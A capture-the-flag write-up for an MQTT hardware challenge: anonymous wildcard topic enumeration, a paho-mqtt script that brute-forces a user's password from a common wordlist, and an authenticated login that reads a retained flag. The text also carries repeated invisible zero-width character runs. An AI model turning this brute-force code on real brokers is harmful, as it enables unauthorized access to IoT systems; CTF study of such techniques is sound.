← Back to Writeups
CUSTOMEasy-MediumHardware

Утёнок в тумане (Duckling in the Fog)

XESXOR9/2/20264 min read
#hardware#custom#easy-medium#mqtt_acl_analysis#mqtt_password_bruteforce#mqtt_retained_message_extracti#mqtt_wildcard_enumeration#linux

Утёнок в тумане (Duckling in the Fog)

Platform: duckerz | Category: Hardware | Type: Challenge | Difficulty: Easy-Medium | OS: Linux | Author: XESXOR | Date: 2026-02-17 | Status: Solved Techniques: mqtt_acl_analysis, mqtt_password_bruteforce, mqtt_retained_message_extraction, mqtt_wildcard_enumeration

Summary

Task: MQTT broker with anonymous access but ACL-restricted topics; hints in announcements reveal username and secret topic path. Solution: Enumerate topics anonymously, extract username from hints, brute-force password, authenticate to access retained message with flag.

Утёнок в тумане (Duckling in the Fog) — duckerz CTF

Description

Ёжик в тумане, только не ёжик, а утёнок. (Hedgehog in the Fog, but not a hedgehog — a duckling.)

Resources:

  • MQTT broker: mqtt://tasks.duckerz.ru:30036
  • Flag format: DUCKERZ{...}

A reference to the Soviet animated film "Hedgehog in the Fog" (1975). The task involves working with the MQTT protocol — you need to find the "duckling" (Duck) in the "fog" (hidden topics).

Analysis

Protocol Identification

  • MQTT (Message Queuing Telemetry Transport) — standard IoT protocol
  • Port 30036 (non-standard, typical for CTF)
  • Broker allows anonymous connection but with limited ACL ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Observations

  1. Anonymous access — broker allows connection without authentication, but ACL limits visible topics
  2. Hints in announcements — Duck publishes messages with hints: username (duck_fan) and target topic (/users/duck/secret)
  3. ACL separation — anonymous users see only sensors and announcements; authenticated users — additional topics
  4. Retained message — flag is stored as a retained message, delivered automatically upon subscription

Solution

Step 1: Anonymous Reconnaissance

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Connect to the broker without authentication and subscribe to all topics via wildcard #:

bash
mosquitto_sub -h tasks.duckerz.ru -p 30036 -t '#' -v -W 30

Discovered 4 topics:

  • /sensors/humidity/data — humidity sensor data (values 20-30)
  • /sensors/temperature/data — temperature sensor data (values 20-30)
  • /sensors/pressure/data — pressure sensor data (values 20-30)
  • /announcements — messages from "Duck"

Key messages in /announcements:

"i'm in /users/duck/secret"          → target topic with flag
"quack! looking for duck_fan..."      → username
"duck_fan, where are you? quack!"     → username confirmation
"has anyone seen duck_fan?"           → another confirmation

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: ACL Analysis

Attempts to bypass anonymous access restrictions:

bash
# Subscribe to target topic — empty (ACL blocks)
mosquitto_sub -h tasks.duckerz.ru -p 30036 -t '/users/duck/secret' -v -W 10

# System topics — empty
mosquitto_sub -h tasks.duckerz.ru -p 30036 -t '$SYS/#' -v -W 10

# Publish — messages don't appear (ACL denies write)
mosquitto_pub -h tasks.duckerz.ru -p 30036 -t '/test' -m 'hello'

Connecting with username duck_fan without password:

Connection Refused: not authorised

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This confirmed that user duck_fan exists and requires a password.

Step 3: Password Brute-force

Script for password brute-forcing using paho-mqtt:

python
#!/usr/bin/env python3
"""MQTT password brute-force for duck_fan user."""
import paho.mqtt.client as mqtt
import time

HOST = "tasks.duckerz.ru"
PORT = 30036

# Load common passwords wordlist
with open("./resources/wordlists/passwords/common-10k.txt", "r", errors="ignore") as f:
    passwords = [line.strip() for line in f if line.strip()][:500]
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

print(f"[*] Testing {len(passwords)} passwords for duck_fan...")

for i, passwd in enumerate(passwords):
    if i % 50 == 0:
        print(f"  [{i}/{len(passwords)}] Testing: {passwd}")

    try:
        c = mqtt.Client(
            client_id=f"bf_{i}",
            callback_api_version=mqtt.CallbackAPIVersion.VERSION2
        )
        c.username_pw_set("duck_fan", passwd)

        result = [None]

        def on_conn(client, userdata, flags, rc, props):
            result[0] = rc

        c.on_connect = on_conn
        c.connect(HOST, PORT, 5)
        c.loop_start()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

        deadline = time.time() + 2
        while result[0] is None and time.time() < deadline:
            time.sleep(0.05)

        c.loop_stop()
        try:
            c.disconnect()
        except:
            pass

        if result[0] is not None and str(result[0]) == "Success":
            print(f"\n[+] FOUND PASSWORD: duck_fan:{passwd}")
            break
    except Exception:
        pass

Result: duck_fan:princess (password from standard common-10k.txt list, ~100th position)

Step 4: Authenticated Access → Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

python
#!/usr/bin/env python3
"""Connect as duck_fan:princess and retrieve the flag."""
import paho.mqtt.client as mqtt
import time
import json

HOST = "tasks.duckerz.ru"
PORT = 30036

def on_connect(client, userdata, flags, reason_code, properties):
    print(f"[+] Connected as duck_fan: {reason_code}")
    client.subscribe("#", qos=1)
    client.subscribe("/users/duck/secret", qos=1)

def on_message(client, userdata, msg):
    payload = msg.payload.decode("utf-8", errors="replace")
    if "/sensors/" not in msg.topic:
        print(f"[!] {msg.topic}: {payload}")
    if "duckerz" in payload.lower() or "flag" in payload.lower():
        print(f"\n[FLAG] {msg.topic}: {payload}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

client = mqtt.Client(
    client_id="duck_fan",
    callback_api_version=mqtt.CallbackAPIVersion.VERSION2
)
client.username_pw_set("duck_fan", "princess")
client.on_connect = on_connect
client.on_message = on_message

client.connect(HOST, PORT, 60)
client.loop_start()
time.sleep(10)
client.loop_stop()
client.disconnect()

Immediately after subscribing, we receive a retained message from /users/duck/secret:

json
{
  "message": "You found me!",
  "flag": "DUCKERZ{REDACTED}",
  "from": "Duck",
  "timestamp": 1771286597
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Notes

MQTT Retained Messages

A retained message is a message with the retain=True flag. The broker stores the last retained message for each topic and automatically delivers it to any new subscriber. This means the flag was published once but is available to anyone who subscribes with the correct permissions.

Comparison with "Smart Office" (duckerz)

Both duckerz MQTT tasks use the same pattern:

  1. Anonymous reconnaissance → topic discovery
  2. Hints in public messages → username
  3. Dictionary password brute-force
  4. Authenticated access → flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Difference: in "Smart Office" the username was admin (from description), here — duck_fan (from announcements).

Broker ACL Structure

# Anonymous access (read-only):
/sensors/+/data     → read allowed
/announcements      → read allowed

# duck_fan (read):
/users/duck/secret  → read allowed (contains retained flag)
#                   → full read access

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍